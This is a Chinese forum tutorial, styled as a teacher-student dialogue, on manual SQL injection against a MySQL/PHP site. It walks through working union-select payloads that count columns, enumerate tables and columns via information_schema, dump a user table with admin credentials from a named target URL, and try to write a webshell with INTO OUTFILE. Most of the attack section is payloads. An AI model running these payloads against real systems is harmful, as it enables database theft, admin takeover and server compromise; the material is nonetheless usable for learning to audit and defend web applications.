資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網絡安全教程|rigasin.com|我的開發(fā)技術隨記

標題: 代碼審計入門教學(三) [打印本頁]

作者: 代碼審計教學    時間: 2020-2-19 23:13
標題: 代碼審計入門教學(三)
代碼審計入門教學(三)
小白:“我們主要是以mysql和php環(huán)境下的SQL注入,SQL手工注入的步驟可以分為:
①        判斷是否存在注入;
②        判斷注入類型,分為整數型和字符型;
③        判斷字段數;
④        判斷數據庫版本是否大于5.0;
⑤        獲取當前數據庫;
⑥        獲取當前數據庫存在的表;
⑦        獲取表存在的字段;
⑧        獲取表內的數據;
⑨        寫入webshell,如果當前用戶是root賬號,并且存在硬盤讀取權限的話!
仔仔:“那我如何判斷是否存在注入呢?”
小白:“不急,且聽我細細道來。我們先在瀏覽器打開上次發(fā)現的可以手工注入的鏈接:

(, 下載次數: 82)

小白:“如何判斷注入類型的方法上次也講了,我們接著講第三步驟,判斷字段數,判斷字段數有兩種方法,order by和聯(lián)合查詢,聯(lián)合查詢也可分為union select和union all select。當然啦,我這里只是講常用的兩種方法,如果有其他大牛有其他方法,那得好好討教才行。”

仔仔:“那這兩種方法有什么區(qū)別呢?”

小白:“個人拙見是order by可以使用二分法快速獲取到具體字段數,聯(lián)合查詢比較笨,要一個一個數的猜,直到字段數匹配。”

接下來開始實施:

Lgid=1 order by 10
(, 下載次數: 89)


(, 下載次數: 91)

試了下,從1到10都沒檢測出來,換成聯(lián)合查詢判斷。
(, 下載次數: 87)

說到這里,不得不說下mysql的注釋符,mysql的注釋符有:

#(url編碼是23%)

--(一般和加號一起,--+)

/**/

//

……

小白:“獲取到字段數后,判斷數據庫版本,可以用version()函數判斷!

(, 下載次數: 84)

仔仔:“為什么要判斷數據庫版本是不是大于5.0呢?”

小白:“這個我也剛剛準備和你說,要判斷數據庫版本大于5.0主要是因為mysql5.0以上的版本存在一個默認數據庫information_schema,這個數據庫存放了數據庫所有數據庫的表名和字段信息,關于這個數據庫更多的信息可以去搜索下。接下來是獲取當前數據庫,可以用mysql內置函數database()獲取!

(, 下載次數: 86)
仔仔:“這挺簡單的!

小白:“知道當前數據庫后接下來獲取表名,這個有三種獲取方法:

①      Table_schema=database();

②      Table_schema=’xxxdb’

③      Table_schema=xxxdb的十六進制。這三種方法可以靈活應用,過濾單引號的時候可以用①和③”

lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#

(, 下載次數: 83)


可以看到有一些表:

這樣子獲取表名可能存在重復,mysql有一個關鍵字distinct可以去除重復。

lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#


(, 下載次數: 88)



也可以使用mysql數據庫字符串拼接函數group_concat()拼接字符。

lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#
(, 下載次數: 89)


可以看到有以下這些表:

sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user

小白:“Mysql還有其他字符串拼接函數,這里就不一一列舉了,仔仔你有興趣就搜索學習!

仔仔:“好咧!”

小白:“知道表了,接下來獲取表的字段,用的是information_schema.columns表,columns和tables顧名思義是字段s和表s,columns可以獲取到table_name,但tables不能獲取到column_name。接下來我們獲取sc_user表的字段試試!

lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#

(, 下載次數: 83)

或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#

(, 下載次數: 78)

可以看到有以下字段:

ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm

小白:“獲取到表的字段后就可以獲取表的數據了!

http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#
(, 下載次數: 87)


小白:“好,獲取到用戶表的用戶名和密碼后就可以登錄后臺了,如果存在上傳漏洞就可以getshell,一般數據庫當前用戶是普通用戶注入到這里就結束了。如果當前數據庫用戶是root,且對磁盤可讀可寫的話可以通過into outfile進行getshell。要通過數據庫寫shell的話還需要知道網站的存放物理路徑,可以通過@@datadir獲取到數據庫的物理路徑,如果使用的是wamp或者lampp就萬事大吉了,因為wamp和lampp網站目錄比較固化。如果不是集成工具部署網站環(huán)境的話,只能通過物理路徑泄露漏洞獲取,或者通過load_file()函數讀取服務器上的文件猜測網站存放路徑了。”

lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#

(, 下載次數: 87)

lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir)  into outfile ‘D:\\phpstudy\\www\\test.php’#
(, 下載次數: 87)

寫入不成功,這在意料之中,因為當前用戶不是root用戶,沒有磁盤讀寫權限。

lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#
(, 下載次數: 92)


第一條\\是在windows環(huán)境下使用,如果是linux只需要一個\就可以,如果第一條不行,可以試試第二條。






歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網絡安全教程|rigasin.com|我的開發(fā)技術隨記 (http://rigasin.com/) Powered by Discuz! X3.4